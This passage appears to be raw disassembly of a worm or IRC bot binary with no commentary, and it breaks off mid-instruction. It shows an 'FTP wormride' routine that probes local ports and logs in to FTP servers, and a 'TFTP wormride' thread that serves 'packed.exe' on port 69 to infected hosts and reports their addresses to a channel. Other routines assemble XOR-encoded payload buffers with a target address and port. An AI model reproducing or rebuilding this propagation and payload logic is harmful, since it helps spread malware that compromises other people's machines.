; CODE XREF: .text:004116FCj mov eax, [ebp-524h] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch lea eax, [ebp-114h] push eax lea eax, [ebp-104h] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EB08 call sub_409C88 pop ecx pop ecx inc eax mov [ebp-558h], eax lea eax, [ebp-104h] push eax push dword ptr [ebp-558h] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset aLast ; "#last" call sub_40D4AB add esp, 14h push 3E8h call ds:dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: .text:004118DFj jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: .text:00411886j mov eax, [ebp-524h] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: .text:004111E0j ; .text:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push dword ptr [ebp-10Ch] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a220_0 ; "220" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset aUser1 ; "USER 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a331_0 ; "331" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset aPass1 ; "PASS 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a230_0 ; "230" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: .text:00411D5Fp var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset loc_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; --------------------------------------------------------------------------- loc_411D59: ; DATA XREF: sub_411D68+4Eo push ebp mov ebp, esp push dword ptr [ebp+8] call sub_411BBC pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; --------------------------------------------------------------------------- loc_411DC5: ; DATA XREF: sub_4123F6+43o push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-358h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp-108h], eax cmp dword ptr [ebp-108h], 0FFFFFFFFh jnz short loc_411E1D push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: .text:00411E08j lea eax, [ebp-104h] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp-1B0h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-1B0h], 2 push 45h call ds:dword_417238 ; htons mov [ebp-1AEh], ax lea eax, [ebp-104h] push eax call ds:dword_417244 ; inet_addr mov [ebp-1ACh], eax mov dword ptr [ebp-1A0h], 1 push 4 lea eax, [ebp-1A0h] push eax push 4 push 0FFFFh push dword ptr [ebp-108h] call ds:dword_417204 ; setsockopt push 10h lea eax, [ebp-1B0h] push eax push dword ptr [ebp-108h] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: .text:00411EADj push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-10Ch], eax cmp dword ptr [ebp-10Ch], 0 jnz short loc_411F01 push dword ptr [ebp-108h] call ds:dword_417230 ; closesocket push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: .text:00411EE0j mov eax, [ebp-358h] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp-354h] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-10Ch] call sub_416B76 ; ftell pop ecx mov [ebp-4], eax push 0 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp-19Ch] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: .text:loc_412084j ; .text:loc_4123C6j mov dword ptr [ebp-0B64h], 1 and dword ptr [ebp-0B60h], 0 and dword ptr [ebp-0B5Ch], 0 loc_411F7E: ; CODE XREF: .text:00411FF9j and dword ptr [ebp-0B68h], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: .text:loc_411FB9j mov eax, [ebp-0B68h] inc eax mov [ebp-0B68h], eax loc_411F94: ; CODE XREF: .text:00411F85j mov eax, [ebp-0B68h] cmp eax, [ebp-0B5Ch] jnb short loc_411FBB mov eax, [ebp-0B68h] mov eax, [ebp+eax*4-0B58h] cmp eax, [ebp-108h] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: .text:00411FB5j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: .text:00411FA0j ; .text:00411FB7j mov eax, [ebp-0B68h] cmp eax, [ebp-0B5Ch] jnz short loc_411FF5 cmp dword ptr [ebp-0B5Ch], 200h jnb short loc_411FF5 mov eax, [ebp-0B68h] mov ecx, [ebp-108h] mov [ebp+eax*4-0B58h], ecx mov eax, [ebp-0B5Ch] inc eax mov [ebp-0B5Ch], eax loc_411FF5: ; CODE XREF: .text:00411FC7j ; .text:00411FD3j xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp-0B64h] push eax push 0 push 0 lea eax, [ebp-0B5Ch] push eax push 0 call ds:dword_41722C ; select test eax, eax jle loc_4123B8 mov dword ptr [ebp-0D84h], 10h mov al, byte_41DE30 mov [ebp-0D70h], al mov ecx, 80h xor eax, eax lea edi, [ebp-0D6Fh] rep stosd stosw stosb lea eax, [ebp-0D84h] push eax lea eax, [ebp-0D80h] push eax push 0 push 80h lea eax, [ebp-19Ch] push eax push dword ptr [ebp-108h] call ds:dword_417258 ; recvfrom mov [ebp-0B6Ch], eax cmp dword ptr [ebp-0B6Ch], 0 jz short loc_412084 cmp dword ptr [ebp-0B6Ch], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: .text:00412079j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: .text:00412082j movsx eax, byte ptr [ebp-19Ch] test eax, eax jnz loc_4121C0 movsx eax, byte ptr [ebp-19Bh] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp-19Ch] mov [ebp-0D88h], eax lea eax, [ebp-19Ch] mov [ebp-0D8Ch], eax mov eax, [ebp-0D88h] inc eax inc eax mov [ebp-0D88h], eax mov eax, [ebp-0D8Ch] inc eax inc eax mov [ebp-0D8Ch], eax push dword ptr [ebp-0D8Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0D8Ch] lea eax, [ecx+eax+1] mov [ebp-0D8Ch], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push dword ptr [ebp-0D8Ch] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 push 13h push offset dword_41C76C push dword ptr [ebp-108h] call ds:dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: .text:00412119j push 0 push 0 push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch and byte ptr [ebp-0D70h], 0 mov byte ptr [ebp-0D6Fh], 3 and byte ptr [ebp-0D6Eh], 0 mov byte ptr [ebp-0D6Dh], 1 push dword ptr [ebp-10Ch] push 200h push 1 lea eax, [ebp-0D6Ch] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0D90h], eax push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 mov eax, [ebp-0D90h] add eax, 4 push eax lea eax, [ebp-0D70h] push eax push dword ptr [ebp-108h] call ds:dword_417250 ; sendto loc_4121BB: ; CODE XREF: .text:0041213Dj jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: .text:00412092j ; .text:004120A2j movsx eax, byte ptr [ebp-19Ch] test eax, eax jnz loc_412396 movsx eax, byte ptr [ebp-19Bh] cmp eax, 4 jnz loc_412396 mov al, [ebp-19Ah] mov [ebp-0DA0h], al mov al, [ebp-199h] mov [ebp-0D98h], al and byte ptr [ebp-0D70h], 0 mov byte ptr [ebp-0D6Fh], 3 movzx eax, byte ptr [ebp-0D98h] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp-0DA0h] add al, 1 mov [ebp-0DA0h], al mov al, [ebp-0DA0h] mov [ebp-0D6Eh], al and byte ptr [ebp-0D98h], 0 mov al, [ebp-0D98h] mov [ebp-0D6Dh], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: .text:00412211j mov al, [ebp-0DA0h] mov [ebp-0D6Eh], al mov al, [ebp-0D98h] add al, 1 mov [ebp-0D98h], al mov al, [ebp-0D98h] mov [ebp-0D6Dh], al loc_412268: ; CODE XREF: .text:00412240j movzx eax, byte ptr [ebp-0DA0h] shl eax, 8 movzx ecx, byte ptr [ebp-0D98h] lea eax, [eax+ecx-1] mov [ebp-0D9Ch], eax push 0 mov eax, [ebp-0D9Ch] shl eax, 9 push eax push dword ptr [ebp-10Ch] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-10Ch] push 200h push 1 lea eax, [ebp-0D6Ch] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0D94h], eax push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 mov eax, [ebp-0D94h] add eax, 4 push eax lea eax, [ebp-0D70h] push eax push dword ptr [ebp-108h] call ds:dword_417250 ; sendto cmp dword ptr [ebp-0D94h], 0 jnz loc_412394 mov eax, [ebp-0D9Ch] shl eax, 9 cmp eax, [ebp-4] jb loc_412394 mov eax, [ebp-0D7Ch] mov [ebp-0DA8h], eax push dword ptr [ebp-0DA8h] push offset dword_41EB10 call sub_409C9D pop ecx pop ecx mov [ebp-0DA4h], eax mov eax, [ebp-0DA4h] cmp eax, [ebp-0DA8h] jz short loc_412394 push 1 push offset dword_41EB14 call sub_409C88 pop ecx pop ecx mov [ebp-0DACh], eax push 10h push dword ptr [ebp-0D7Ch] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp-11Ch] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-11Ch] push eax mov eax, [ebp-0DACh] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset aLast ; "#last" call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: .text:004122F2j ; .text:00412304j ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: .text:004121C9j ; .text:004121D9j push dword ptr [ebp-0D84h] lea eax, [ebp-0D80h] push eax push 0 push 9 push offset dword_41C724 push dword ptr [ebp-108h] call ds:dword_417250 ; sendto loc_4123B8: ; CODE XREF: .text:00412017j ; .text:loc_4121BBj ... mov eax, [ebp-358h] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: .text:004123C2j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: .text:004123C4j push dword ptr [ebp-10Ch] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-108h] call ds:dword_417230 ; closesocket push dword ptr [ebp-358h] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: .text:00411E18j ; .text:00411EBDj ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call ds:dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: .text:004106D4p ; .text:00410B93p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset dword_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, 